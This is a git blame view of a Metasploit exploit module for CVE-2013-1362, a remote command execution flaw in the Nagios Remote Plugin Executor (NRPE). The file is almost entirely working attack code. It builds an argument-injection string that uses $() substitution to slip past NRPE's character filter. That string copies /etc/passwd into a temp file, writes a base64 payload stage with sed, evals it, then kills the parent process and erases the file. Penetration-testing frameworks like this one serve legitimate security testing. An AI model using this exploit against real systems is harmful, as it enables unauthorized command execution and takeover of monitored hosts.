Files
metasploit-gs/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

186 lines
6.2 KiB
Ruby
Raw Normal View History

2013-03-19 01:43:46 -07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-19 01:43:46 -07:00
##
#
require 'zlib'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-03-19 01:43:46 -07:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
def initialize(info = {})
super(update_info(info,
2013-03-20 19:22:48 +01:00
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
2013-03-19 01:43:46 -07:00
'Description' => %q{
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
2013-03-20 19:22:48 +01:00
Nagios server to actively poll information from the hosts it monitors. NRPE
has a configuration option dont_blame_nrpe which enables command-line arguments
to be provided remote plugins. When this option is enabled, even when NRPE makes
an effort to sanitize arguments to prevent command execution, it is possible to
execute arbitrary commands.
},
'Author' =>
[
'Rudolph Pereir', # Vulnerability discovery
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
2013-03-19 01:43:46 -07:00
],
2013-03-20 19:22:48 +01:00
'References' =>
[
[ 'CVE', '2013-1362' ],
[ 'OSVDB', '90582'],
2013-03-20 19:22:48 +01:00
[ 'BID', '58142'],
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
2013-03-19 01:43:46 -07:00
],
2013-03-20 19:22:48 +01:00
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
2013-03-19 01:43:46 -07:00
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl python ruby telnet',
2013-03-19 01:43:46 -07:00
# *_perl, *_python and *_ruby work if they are installed
}
},
2013-03-20 19:22:48 +01:00
'Targets' =>
[
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
2013-03-19 01:43:46 -07:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-02-21'
2013-03-19 01:43:46 -07:00
))
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
register_options(
[
Opt::RPORT(5666),
2013-03-20 19:22:48 +01:00
OptEnum.new('NRPECMD', [
true,
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
'check_procs',
['check_procs', 'check_users', 'check_load', 'check_disk']
]),
2013-03-19 01:43:46 -07:00
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
])
2013-03-19 01:43:46 -07:00
end
2013-08-30 16:28:54 -05:00
2013-03-20 19:22:48 +01:00
def send_message(message)
2013-03-19 01:43:46 -07:00
packet = [
2013-03-20 19:22:48 +01:00
2, # packet version
1, # packet type, 1 => query packet
0, # checksum, to be added later
0, # result code, discarded for query packet
message, # the command and arguments
0 # padding
2013-03-19 01:43:46 -07:00
]
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
begin
self.sock.put(packet.pack("nnNna1024n")) #send the packet
res = self.sock.get_once # get the response
rescue ::EOFError => eof
res = ""
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
return res.unpack("nnNnA1024n")[4] unless res.nil?
end
2013-08-30 16:28:54 -05:00
2013-03-20 19:22:48 +01:00
def setup
@ssl_socket = nil
@force_ssl = false
super
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
def exploit
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
if check != Exploit::CheckCode::Vulnerable
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
2013-03-19 01:43:46 -07:00
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
stage = "setsid nohup #{payload.encoded} & "
stage = Rex::Text.encode_base64(stage)
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
2013-03-20 19:22:48 +01:00
command = datastore['NRPECMD']
2013-03-19 01:43:46 -07:00
command << "!"
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
# need a way to write to a file without using redirection (>)
# cant count on perl being on all linux hosts, use GNU Sed
# TODO: Probably a better way to do this, some hosts may not have a /tmp
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
2013-03-20 19:22:48 +01:00
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
command << "$(rm -f /tmp/$$))" # clean the file with the stage
connect
print_status("Sending request...")
send_message(command)
disconnect
2013-03-19 01:43:46 -07:00
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
def check
2014-01-21 17:14:55 -06:00
vprint_status("Checking if remote NRPE supports command line arguments")
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
begin
# send query asking to run "fake_check" command with command substitution in arguments
2013-03-20 19:22:48 +01:00
connect
res = send_message("__fake_check!$()")
2013-03-19 01:43:46 -07:00
# if nrpe is configured to support arguments and is not patched to add $() to
# NASTY_META_CHARS then the service will return:
# NRPE: Command '__fake_check' not defined
if res =~ /not defined/
2013-03-20 19:22:48 +01:00
return Exploit::CheckCode::Vulnerable
end
2013-03-19 01:43:46 -07:00
# Otherwise the service will close the connection if it is configured to disable arguments
rescue EOFError => eof
return Exploit::CheckCode::Safe
rescue Errno::ECONNRESET => reset
unless datastore['NRPESSL'] or @force_ssl
2014-01-21 17:14:55 -06:00
vprint_status("Retrying with ADH SSL")
2013-03-19 01:43:46 -07:00
@force_ssl = true
retry
end
return Exploit::CheckCode::Safe
rescue => e
return Exploit::CheckCode::Unknown
end
# TODO: patched version appears to go here
return Exploit::CheckCode::Unknown
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
end
2013-08-30 16:28:54 -05:00
2016-11-01 05:43:03 -05:00
# NRPE uses unauthenticated Anonymous-Diffie-Hellman
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
# setting the global SSL => true will break as we would be overlaying
# an SSLSocket on another SSLSocket which hasnt completed its handshake
def connect(global = true, opts={})
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
self.sock = super(global, opts)
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
if datastore['NRPESSL'] or @force_ssl
2016-11-01 05:43:03 -05:00
ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
2013-03-19 01:43:46 -07:00
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.ciphers = "ADH"
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
@ssl_socket.connect
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
self.sock.extend(Rex::Socket::SslTcp)
self.sock.sslsock = @ssl_socket
self.sock.sslctx = ctx
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
return self.sock
end
2013-08-30 16:28:54 -05:00
2013-03-19 01:43:46 -07:00
def disconnect
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
super
end
end